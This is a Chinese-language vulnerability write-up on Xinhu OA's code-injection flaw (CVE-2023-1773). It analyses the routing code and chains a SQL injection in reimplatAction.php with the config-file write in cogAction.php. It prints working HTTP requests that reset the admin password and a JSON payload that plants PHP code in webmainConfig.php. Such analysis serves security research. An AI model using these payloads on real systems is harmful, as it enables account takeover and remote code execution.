感谢土豆分享
参考:信呼oa命令执行分析分析(CVE-2023-1773) (qq.com)
信呼OA在2.3.3版本之前存在代码注入漏洞。该漏洞影响到组件配置文件处理程序的webmainConfig.php文件的代码。篡改导致代码注入。
首先当然是先搭好框架,默认登录可以用admin/123456
文件分析
/src/index.php
这里是主程序入口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php
include_once('config/config.php'); $_uurl = $rock->get('rewriteurl');
$d = ''; $m = 'index'; $a = 'default';
if($_uurl != ''){ unset($_GET['m']);unset($_GET['d']);unset($_GET['a']); $m = $_uurl; $_uurla = explode('_', $_uurl); if(isset($_uurla[1])){$d = $_uurla[0];$m = $_uurla[1];} if(isset($_uurla[2])){$d = $_uurla[0];$m = $_uurla[1];$a = $_uurla[2];} $_uurla = explode('?',$_SERVER['REQUEST_URI']); if(isset($_uurla[1])){ $_uurla = explode('&', $_uurla[1]);foreach($_uurla as $_uurlas){ $_uurlasa = explode('=', $_uurlas); if(isset($_uurlasa[1]))$_GET[$_uurlasa[0]]=$_uurlasa[1]; } } }else{ $m = $rock->jm->gettoken('m', 'index'); $d = $rock->jm->gettoken('d'); $a = $rock->jm->gettoken('a', 'default'); } $ajaxbool = $rock->jm->gettoken('ajaxbool', 'false'); $mode = $rock->get('m', $m);
if(!$config['install'] && $mode != 'install')$rock->location('?m=install'); include_once('include/View.php');
|
/src/config/config.php
主要就是定义了不少常量,包含了3个文件
/src/include/View.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111
| <?php if(!isset($ajaxbool))$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false'); $ajaxbool = $rock->get('ajaxbool', $ajaxbool); $p = PROJECT;
if(!isset($m))$m='index'; if(!isset($a))$a='default'; if(!isset($d))$d=''; $m = $rock->get('m', $m); $a = $rock->get('a', $a); $d = $rock->get('d', $d);
define('M', $m); define('A', $a); define('D', $d); define('P', $p);
$_m = $m; if($rock->contain($m, '|')){ $_mas = explode('|', $m); $m = $_mas[0]; $_m = $_mas[1]; } include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p));
$rand = date('YmdHis').rand(1000,9999); if(substr($d,-1)!='/' && $d!='')$d.='/'; $errormsg = ''; $methodbool = true;
$actpath = $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m); define('ACTPATH', $actpath); $actfile = $rock->strformat('?0/?1Action.php',$actpath, $m); $actfile1 = $rock->strformat('?0/?1Action.php',$actpath, $_m);
$actbstr = null; if(file_exists($actfile1))include_once($actfile1); if(file_exists($actfile)){ include_once($actfile); $clsname = ''.$m.'ClassAction'; $xhrock = new $clsname(); $actname = ''.$a.'Action'; if($ajaxbool == 'true')$actname = ''.$a.'Ajax'; if(method_exists($xhrock, $actname)){ $xhrock->beforeAction(); $actbstr = $xhrock->$actname(); $xhrock->bodyMessage = $actbstr; if(is_string($actbstr)){echo $actbstr;$xhrock->display=false;} if(is_array($actbstr)){echo json_encode($actbstr);$xhrock->display=false;} }else{ $methodbool = false; if($ajaxbool == 'false')echo ''.$actname.' not found;'; } $xhrock->afterAction(); }else{ echo 'actionfile not exists;'; $xhrock = new Action(); }
$_showbool = false;
if($xhrock->display && ($ajaxbool == 'html' || $ajaxbool == 'false')){ $xhrock->smartydata['p'] = $p; $xhrock->smartydata['a'] = $a; $xhrock->smartydata['m'] = $m; $xhrock->smartydata['d'] = $d; $xhrock->smartydata['rand'] = $rand; $xhrock->smartydata['qom'] = QOM; $xhrock->smartydata['path'] = PATH; $xhrock->smartydata['sysurl']= SYSURL; $temppath = ''.ROOT_PATH.'/'.$p.'/'; $tplpaths = ''.$temppath.''.$d.''.$m.'/'; $tplname = 'tpl_'.$m.''; if($a!='default')$tplname .= '_'.$a.''; $tplname .= '.'.$xhrock->tpldom.''; $mpathname = $tplpaths.$tplname; if($xhrock->displayfile!='' && file_exists($xhrock->displayfile))$mpathname = $xhrock->displayfile; if(!file_exists($mpathname) || !$methodbool){ if(!$methodbool){ $errormsg = 'in ('.$m.') not found Method('.$a.');'; }else{ $errormsg = ''.$tplname.' not exists;'; } echo $errormsg; }else{ $_showbool = true; } } if($xhrock->display && ($ajaxbool == 'html' || $xhrock->tpltype=='html' || $ajaxbool == 'false') && $_showbool){ $xhrock->setHtmlData(); $da = $xhrock->smartydata; foreach($xhrock->assigndata as $_k=>$_v)$$_k=$_v; include_once($mpathname); $_showbool = false; }
|
利用尝试
由以上可知,可以通过$m
,$a
,$p
,$p
控制被包含文件的路径,看起来有两个选择:$actfile
和$actfile1
不过很显然只能选择actfile
,原因如下:
1.
1
| $actfile1 = $rock->strformat('?0/?1Action.php',$actpath, $_m);
|
这个变量由$_m
拼接,会有类似$actfile1=/var/www/html/webmain/flow/input/inputAction.php
的结果,即要求文件名下同名php文件,选择面太小了
2.查看actfile1
的用法,其用法为:
1
| if(file_exists($actfile1))include_once($actfile1);
|
而对于actfile
可以在下面的代码通过控制$a
和$ajaxbool
来控制想要的方法
漏洞分析
配置文件写入
在cogAction.php的savecongAjax()有文件写入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| ... if (isset($this->adminname)) { $str = '<?php if(!defined(\'HOST\'))die(\'not access\'); //['.$this->adminname.']在'.$this->now.'通过[系统→系统工具→系统设置],保存修改了配置文件 return array( '.$str1.' );'; } @$bo = file_put_contents($_confpath, $str); if($bo){ echo 'ok'; }else{ echo '保存失败无法写入:'.$_confpath.''; } ...
|
注意到$this->adminname
,此字段会从数据库中取admin的name
SQL注入
reimplatAction.php有sql注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| ... $body = $this->getpostdata(); if(!$body)return; $db = m('reimplat:dept'); $key = $db->gethkey();
$bodystr = $this->jm->strunlook($body, $key);
if(!$bodystr)return; $data = json_decode($bodystr, true); $msgtype = arrvalue($data,'msgtype'); $msgevent= arrvalue($data,'msgevent'); ... if($msgtype=='editmobile'){ $user = arrvalue($data, 'user'); $mobile = arrvalue($data, 'mobile'); $where = "`user`='$user'"; $upstr = "`mobile`='$mobile'"; $db->update($upstr, $where); $dbs = m('admin'); $dbs->update($upstr,$where); $uid = $dbs->getmou('id',$where); m('userinfo')->update($upstr,"`id`='$uid'"); } ...
|
对于m()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| function m($name) { $cls = NULL; $pats = $nac = ''; $nas = $name; $asq = explode(':', $nas); if(count($asq)>1){ $nas = $asq[1]; $nac = $asq[0]; $pats = $nac.'/'; $_pats = ''.ROOT_PATH.'/'.PROJECT.'/model/'.$nac.'/'.$nac.'.php'; if(file_exists($_pats)){ include_once($_pats); $class = ''.$nac.'Model'; $cls = new $class($nas); } } $class = ''.$nas.'ClassModel'; $path = ''.ROOT_PATH.'/'.PROJECT.'/model/'.$pats.''.$nas.'Model.php'; if(file_exists($path)){ include_once($path); if($nac!='')$class= $nac.'_'.$class; $cls = new $class($nas); } if($cls==NULL)$cls = new sModel($nas); return $cls; }
|
漏洞尝试
sql+文件包含更改管理员密码
当尝试发起这个请求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST /?d=task&m=reimplat|api&a=index&ajaxbool=false HTTP/1.1 Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=d1c9sos9brock9tm7q1n9oitl4; deviceid=1703843683765; xinhu_mo_adminid=wrw0gw0pg0wwg0ag0wwr0gx0wlw0aa0pw0wrr0wrx0gh0hg0gk0ph013; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0
{"msgtype":"editpass","user":"admin","pass":"666"}
|
返回了(这里在reimplatAction.php下添加了echo语句输出了加密解密结果):
1 2 3 4 5 6 7 8 9 10 11 12
| HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 29 Dec 2023 10:56:07 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.27 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
31ae15.X3amdiGpSx5aZqNWaq6NSZVut2MjYWm5UmMnRnZ!GZIXUmqvZUmqEaGZqh7Y:6��f_;�1��O��Bnm{��u
|
再发送
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST /?d=task&m=reimplat|api&a=index&ajaxbool=false HTTP/1.1 Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=d1c9sos9brock9tm7q1n9oitl4; deviceid=1703843683765; xinhu_mo_adminid=wrw0gw0pg0wwg0ag0wwr0gx0wlw0aa0pw0wrr0wrx0gh0hg0gk0ph013; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0
31ae15.X3amdiGpSx5aZqNWaq6NSZVut2MjYWm5UmMnRnZ!GZIXUmqvZUmqEaGZqh7Y
|
再重新登录,会发现密码修改成功
第一个请求发包传参,会让view.php包含文件,包含了/var/www/html/webmain/task/api/reimplatAction.php,调用了indexAction方法,传递了json,这个json会被reimplatAction.php处理,由于做了以下处理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| $body = $this->getpostdata(); if(!$body)return; $db = m('reimplat:dept'); $key = $db->gethkey();
$ss = $this->jm->strlook($body,$key); echo $ss;
$bodystr = $this->jm->strunlook($body, $key);
echo $bodystr;
if(!$bodystr)return;
|
返回了json经过strlook加密的31ae15.X3amdiGpSx5aZqNWaq6NSZVut2MjYWm5UmMnRnZ!GZIXUmqvZUmqEaGZqh7Y
和strunlook解密的值
第二个请求把31ae15.X3amdiGpSx5aZqNWaq6NSZVut2MjYWm5UmMnRnZ!GZIXUmqvZUmqEaGZqh7Y
作为json发送,正常解密为{"msgtype":"editpass","user":"admin","pass":"666"}
,该文件接受到msgtype
参数值为editpass,调用如下代码:
1 2 3 4 5 6 7 8 9 10
| if($msgtype=='editpass'){ $user = arrvalue($data, 'user'); $pass = arrvalue($data, 'pass'); if($pass && $user){ $where = "`user`='$user'"; $mima = md5($pass); m('admin')->update("`pass`='$mima',`editpass`=`editpass`+1", $where); } }
|
sql+文件包含实现代码执行
要注入的地点:
1 2 3 4 5 6 7 8 9
| ... if (isset($this->adminname)) { $str = '<?php if(!defined(\'HOST\'))die(\'not access\'); //['.$this->adminname.']在'.$this->now.'通过[系统→系统工具→系统设置],保存修改了配置文件 return array( '.$str1.' );'; ...
|
查看this->name:
1
| $this->adminname = $this->getsession('adminname');
|
是从session中获得的
session又需要从数据库获得数据,要先将name注入到数据库中
选择代码:
此代码输出时会输出回车绕过注释
如上,选择如下代码注入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ... if($msgtype=='editmobile'){ $user = arrvalue($data, 'user'); $mobile = arrvalue($data, 'mobile'); $where = "`user`='$user'"; $upstr = "`mobile`='$mobile'"; $db->update($upstr, $where); $dbs = m('admin'); $dbs->update($upstr,$where); $uid = $dbs->getmou('id',$where); m('userinfo')->update($upstr,"`id`='$uid'"); } ...
|
设置json的值为:{"msgtype":"editmobile","user":"admin","mobile":"1',name='\nphpinfo();//"}
会拼接成为:
1
| m('userinfo')->update("`mobile`='1',name='\nphpinfo();//","`id`='$uid'");
|
跟踪update函数,最终来到mysql.php下的record():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public function record($table,$array,$where='') { $addbool = true; if(!$this->isempt($where))$addbool=false; $cont = ''; if(is_array($array)){ foreach($array as $key=>$val){ $cont.=",`$key`=".$this->toaddval($val).""; } $cont = substr($cont,1); }else{ $cont = $array; } if($addbool){ $sql="insert into `$table` set $cont"; }else{ $where = $this->getwhere($where); $sql="update `$table` set $cont where $where"; } return $this->tranbegin($sql); }
|
这里完成sql语句拼接,将代码注入数据库
这里显示成功注入
需要重新登录(随便哪个账号)更新session
最后文件包含/var/www/html/webmain/system/cog/cogAction.php,执行session的写入
当webmainConfig.php被成功写入时就完成了
注意payload有长度限制